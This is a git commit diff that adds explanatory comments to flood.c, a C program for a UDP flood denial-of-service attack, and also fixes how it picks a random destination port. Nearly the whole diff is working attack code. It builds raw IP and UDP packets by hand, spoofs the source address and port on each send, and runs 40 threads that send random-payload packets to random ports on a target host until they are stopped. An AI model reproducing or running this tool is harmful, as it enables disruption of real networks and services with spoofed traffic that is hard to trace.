summaryrefslogtreecommitdiff
path: root/source
diff options
context:
space:
mode:
authorJake Mannens <jake72360@gmail.com>2018-05-12 05:18:26 +1000
committerJake Mannens <jake72360@gmail.com>2018-05-12 05:18:26 +1000
commita6fe7a3a990c6bf5ef573e3317f343e1e7e4d09a (patch)
treee2f306af90d3dc15ceffbefb6757468dd1641b25 /source
parent65ce53bab412623b6b7b39f2fba3536619175537 (diff)
Added comments to the source code.HEADmaster
Diffstat (limited to 'source')
-rw-r--r--source/flood.c36
1 files changed, 34 insertions, 2 deletions
diff --git a/source/flood.c b/source/flood.c
index bdab75a..c3b6b9c 100644
--- a/source/flood.c
+++ b/source/flood.c
@@ -10,10 +10,12 @@
#include <time.h>
#include <unistd.h>
+/* config defines */
#define DEFAULT_DELAY 0
#define DEFAULT_PACKET_SIZE 1024
#define DEFAULT_THREADS 40
+/* function prototypes */
void* udpflood_thread(void*);
void* kill_thread(void*);
void handle_signal(int);
@@ -28,6 +30,7 @@ struct udpflood_args {
struct udpflood_args thread_args;
+/* used for arg passes */
char *size_suffixes[] = { "B", "KB", "GB", "TB", "PB", "EB" };
int main(int argc, char *argv[]) {
@@ -37,6 +40,7 @@ int main(int argc, char *argv[]) {
size_t packet_size = DEFAULT_PACKET_SIZE;
int threads = DEFAULT_THREADS;
+ /* parse args */
int flag;
int flags = 1;
while((flag = getopt(argc, argv, "d:s:t:")) != -1) {
@@ -57,12 +61,14 @@ int main(int argc, char *argv[]) {
flags++;
}
+ /* make sure a target address was provided */
if(argc - flags < 1) {
printf("%s: Missing Address!\n", argv[0]);
print_usage(argv[0]);
exit(EXIT_FAILURE);
}
+ /* check if the target is an IP address, otherwise, attempt DNS name resolution */
char* address_string = argv[argc - 1];
struct in_addr address;
status = inet_aton(address_string, &address);
@@ -75,9 +81,12 @@ int main(int argc, char *argv[]) {
}
}
+ /* seed the random number generator */
srand(time(NULL));
+ /* setup a signal handler for SIGINT so we can do a clean shutdown */
signal(SIGINT, handle_signal);
+ /* prepare parameters for the worker threads */
thread_args.address = address.s_addr;
thread_args.packet_size = packet_size;
thread_args.running = 1;
@@ -101,18 +110,22 @@ int main(int argc, char *argv[]) {
printf(" Packet Size: %zu%s\n", packet_size, size_suffixes[0]);
}
+ /* record the start time (for reporting attack duration) */
time_t start_time = time(NULL);
+ /* now, we create the worker threads that will carry out the attack */
pthread_t tids[threads];
for(i = 0; i < threads; i++) {
pthread_create(&tids[i], NULL, &udpflood_thread, &thread_args);
}
+ /* run the attack for the specified time, if any */
time_t end_time = time(NULL) + delay;
unsigned char infinite_delay = 0;
if(delay <= 0) infinite_delay = 1;
while(time(NULL) < end_time || infinite_delay && thread_args.running);
+ /* cleanup and kill the remaining threads */
printf("Ending attack...\n");
if(infinite_delay) printf("Attacked for %d seconds\n", (int) (time(NULL) - start_time));
pthread_t kill_tid;
@@ -124,18 +137,22 @@ int main(int argc, char *argv[]) {
exit(EXIT_SUCCESS);
}
+/* main worker thread */
void* udpflood_thread(void* args_ptr) {
int i, status;
struct udpflood_args* args = (struct udpflood_args*) args_ptr;
+ /* create a raw socket */
int sock_fd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
if(sock_fd < 0) return NULL;
+ /* tell the kernel we will be composing the IP header ourselves */
int val = 1;
int* ptr = &val;
status = setsockopt(sock_fd, IPPROTO_IP, IP_HDRINCL, ptr, sizeof(val));
if(status < 0) return NULL;
+ /* self-explanatory */
struct ip_header {
unsigned char ihl;
unsigned char tos;
@@ -156,13 +173,18 @@ void* udpflood_thread(void* args_ptr) {
unsigned short checksum;
};
+ /* allocate memory for packet buffer */
void* packet = malloc(sizeof(struct ip_header) + sizeof(struct udp_header) + args->packet_size);
+ /* clear the packet buffer */
memset(packet, 0, sizeof(struct ip_header) + sizeof(struct udp_header) + args->packet_size);
+ /* pointers to the headers within the buffer */
struct ip_header* ip = (struct ip_header*) packet;
struct udp_header* udp = (struct udp_header*) (packet + sizeof(struct ip_header));
unsigned char* data = packet + sizeof(struct ip_header) + sizeof(struct udp_header);
+ /* fill the data portion of the packet with random bytes */
for(i = 0; i < args->packet_size; i++) data[i] = rand();
+ /* populate the IP header */
ip->ihl = 5 | (4 << 4);
ip->tos = 46 << 2;
ip->len = sizeof(struct ip_header) + sizeof(struct udp_header) + args->packet_size;
@@ -171,26 +193,35 @@ void* udpflood_thread(void* args_ptr) {
ip->protocol = 17;
ip->dest = args->address;
+ /* populate the UDP header */
udp->len = htons(sizeof(struct udp_header) + args->packet_size);
+ /* prepare a destination address (necessary for raw sockets) */
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = args->address;
+ /* main loop, continually send UDP packets to the target */
while(args->running) {
+ /* send to a random port on the target host */
unsigned short dest_port = rand();
+ udp->dest_port = htons(dest_port);
+ addr.sin_port = htons(dest_port);
+ /* spoof the source address and port for each packet sent */
ip->source = htons(rand());
udp->source_port = htons(rand());
- udp->dest_port = htons(rand());
+ /* zero the checksum field (the kernel will calculate the sum for us anyway) */
ip->checksum = 0;
- addr.sin_port = htons(dest_port);
+ /* finally send the packet */
sendto(sock_fd, packet, ip->len, 0, (struct sockaddr*) &addr, sizeof(addr));
}
+ /* cleanup and return when the main thread signals shutdown */
free(packet);
close(sock_fd);
}
+/* failsafe to ensure process termination */
void* kill_thread(void* args_ptr) {
time_t end_time = time(NULL) + 5;
while(time(NULL) < end_time);
@@ -198,6 +229,7 @@ void* kill_thread(void* args_ptr) {
exit(EXIT_SUCCESS);
}
+/* signal handler for SIGINT */
void handle_signal(int signal) {
if(signal == SIGINT) {
printf("\nCaught SIGINT\n");